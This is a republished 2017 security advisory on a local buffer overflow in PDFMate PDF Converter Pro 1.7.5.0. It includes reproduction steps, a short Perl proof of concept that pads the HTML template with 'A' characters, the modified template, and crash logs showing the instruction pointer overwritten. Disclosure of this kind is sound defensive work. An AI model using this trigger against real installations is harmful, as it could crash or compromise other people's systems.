Bugtraq: PDFMate PDF Converter Pro 1.7.5.0 – Buffer Overflow Vulnerability

Document Title:

===============

PDFMate PDF Converter Pro 1.7.5.0 – Buffer Overflow Vulnerability

References (Source):

====================

https://www.vulnerability-lab.com/get_content.php?id=2029

Release Date:

=============

2017-01-30

Vulnerability Laboratory ID (VL-ID):

====================================

2029

Common Vulnerability Scoring System:

====================================

5.9

Product & Service Introduction:

===============================

PDFMate PDF Converter Professional is a comprehensive PDF conversion application. It can also be used as PDF splitter and PDF Merger.

PDFMate PDF Converter is easy to use with simple and clear program interface.

( Copy of the Vendor Homepage: http://www.pdfmate.com/ )

Abstract Advisory Information:

==============================

The vulnerability laboratory core research team discovered a local buffer overflow vulnerability in the PDFMate PDF Converter Professional v1.7.5.0 software.

Vulnerability Disclosure Timeline:

==================================

2017-01-30: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

=================

Published

Affected Product(s):

====================

PDFMate

Product: PDF Converter Pro & Free – Software 1.7.5.0

Exploitation Technique:

=======================

Local

Severity Level:

===============

High

Technical Details & Description:

================================

A local buffer overflow vulnerability has been discovered in the official PDFMate PDF Converter Professional v1.7.5.0 software.

The local vulnerability allows local attackers to overwrite the registers to compromise the local software system process.

The `Convert_Pro.dll` file in the `C:Program FilesAnvsoftPDFMate PDF Converter Professional` path is vulnerable to a local

buffer overflow. In case of a `html` file convert the `convert_pro` dynamic link library is used to create the file in the

last instance with the already set conditions. Local attackers with restricted system privileges are able to include large

unicode strings to the html template files of the `htmltemplate` folder. Local attackers are finally able to exploit the

process by an overwrite of the registers to gain higher system access privileges.

The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 5.9.

Exploitation of the vulnerability requires a low privilege or restricted system user account without user interaction.

Successful exploitation of the vulnerability results in process manipulation or compromise of the affected computer system.

Vulnerable Module(s):

[+] Convert_Pro.dll

Proof of Concept (PoC):

=======================

The vulnerability can be exploited by local attackers without user interaction and with low system user account.

For security demonstration or to reproduce the issue follow the provided information and steps below to continue.

Manual steps to reproduce …

1. Install the software

2. Move into the htmltemplate path

3. Modify the index.html main template file that is used to generate the html file of a pdf

4. Include a large unicode payload inside of the file header and save

5. Start the software (PDFMatePro.exe)

6. Add a random pdf file and choose at buttom the html function

7. Click the convert button

8. The software process crashs because of the processing the large unicode payload via Convert_Pro.dll

9. Successful reproduce of the local buffer overflow vulnerability!

PoC: Exploitation

#!/usr/bin/perl

my $Buff = “x41” x 4141;

open(MYFILE,’>>index.html’);

print MYFILE $Buff;

close(MYFILE);

print “Replace Index Template File”;

PoC: Vulnerable Source (Template File)

<html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”zh-CN”>

<head>

<title>[LARGE UNICODE PAYLOAD AAAAAAAAAA…+]</title>

<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″/>

http://./html/index.js

</head>

<frameset rows=”37,*” border=”0″ framespacing=”1″ frameborder=”0″>

<frame name=”toolbarWin” src=”./html/toolbar.html” noresize=”noresize” scrolling=”no” />

<frameset cols=”134,*” id=”mainframe” border=”0″ framespacing=”1″ frameborder=”0″>

<frameset rows=”30,*” border=”0″ framespacing=”1″ frameborder=”0″>

<frame name=”navorbmimg” src=”./html/navimg.html” noresize=”noresize” scrolling=”no” />

<frame name=”navorbm” src=”./html/navigation.html” noresize=”noresize” />

<frame src=a>

</frameset>

<frame name=”content” src=”./html/P1.html” noresize=”noresize” />

</frameset>

<noframes>

<body>

<p>This page includes frames, and your browser does not work with it.</p>

</body>

</noframes>

</frameset>

</html>

Note: Do not modify the file content outside the title content because of the template is

checked by the software and is required to run functional.

— System Error Event Logs —

EventType=BEX

EventTime=131292452808589892

ReportType=2

Consent=1

UploadTime=131292452809373704

ReportIdentifier=88fcfb1a-ddbd-11e6-8a7d-ebe9983f0e19

IntegratorReportIdentifier=735fd6bc-fef1-43ea-ae50-011d10d60eff

WOW64=1

NsAppName=PDFMatePro.exe

AppSessionGuid=00001598-0004-005a-0581-d452c971d201

TargetAppId=W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5

e6b4b0d3255bfef95601890afd80709!PDFMatePro.exe

TargetAppVer=2015//03//06:06:34:59!7b77cc!PDFMatePro.exe

BootId=4294967295

Response.BucketId=046d5833e2cfeab779378428212916e8

Response.BucketTable=1

Response.LegacyBucketId=108693211846

Response.type=4

Sig[0].Name=Anwendungsname

Sig[0].Value=PDFMatePro.exe

Sig[1].Name=Anwendungsversion

Sig[1].Value=1.7.5.0

Sig[2].Name=Anwendungszeitstempel

Sig[2].Value=54f94a93

Sig[3].Name=Fehlermodulname

Sig[3].Value=Convert_Pro.dll

Sig[4].Name=Fehlermodulversion

Sig[4].Value=0.0.0.0

Sig[5].Name=Fehlermodulzeitstempel

Sig[5].Value=41414141

Sig[6].Name=Ausnahmecode

Sig[6].Value=c0000005

Sig[7].Name=Ausnahmeoffset

Sig[7].Value=0003747b

DynamicSig[1].Name=Betriebsystemversion

DynamicSig[1].Value=10.0.14393.2.0.0.256.48

DynamicSig[2].Name=Gebietsschema-ID

DynamicSig[2].Value=1031

DynamicSig[22].Name=Zusatzinformation 1

DynamicSig[22].Value=2beb

DynamicSig[23].Name=Zusatzinformation 2

DynamicSig[23].Value=2beba6fb4680d73a8c78ca7c24ccdb46

DynamicSig[24].Name=Zusatzinformation 3

DynamicSig[24].Value=1055

DynamicSig[25].Name=Zusatzinformation 4

DynamicSig[25].Value=10551cc64bcfba7d2297b81a9c0092f2

UI[2]=C:Program Files (x86)AnvsoftPDFMate PDF Converter ProfessionalPDFMatePro.exe

UI[3]=PDFMate PDF Converter Professional funktioniert nicht mehr

UI[4]=Windows kann online nach einer Lösung für das Problem suchen und versuchen, das Programm neu zu starten.

UI[5]=Online nach einer Lösung suchen und das Programm neu starten

UI[6]=Später online nach einer Lösung suchen und das Programm schlie�en

UI[7]=Programm schlieÃ?en

… …

State[0].Key=Transport.DoneStage1

State[0].Value=1

FriendlyEventName=Nicht mehr funktionsfähig

ConsentKey=APPCRASH

AppName=PDFMate PDF Converter Professional

AppPath=C:Program Files (x86)AnvsoftPDFMate PDF Converter ProfessionalPDFMatePro.exe

ApplicationIdentity=C9B25CD652BEC246D013BC2528E51FBA

MetadataHash=1654607508

— Exception Debug Logs —

Convert_Pro!HtmlBook::BuildIndex+762b

41414141 8b10 mov edx,dword ptr [eax]

ExceptionAddress: 41414141 (Convert_Pro!HtmlBook::BuildIndex+0x000000000000762b)

ExceptionCode: c0000005 (Access violation)

NumberParameters: 2

Parameter[0]: 0000000000823502

Parameter[1]: 0000000000650072

Attempt to read from address 0000000000650072

eax=00650072 ebx=0767efbc ecx=07830990 edx=6fc6c278 esi=0767e998 edi=07830990

eip=41414141 esp=0767a884 ebp=41414141 iopl=0 nv up ei ng nz na pe cy

cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287

Convert_Pro!HtmlBook::BuildIndex+0x762b:

41414141 8b10 mov edx,dword ptr [eax] ds:002b:00650072=????????

Security Risk:

==============

The security risk of the local buffer overflow vulnerability in the software is estimated as high. (CVSS 5.9)

Credits & Authors:

==================

Vulnerability Laboratory [Research Team] – Benjamin Kunz Mejri [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]

Disclaimer & Information:

=========================

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Source: SecurityFocus Vulnerabilities @ February 20, 2017 at 04:00AM

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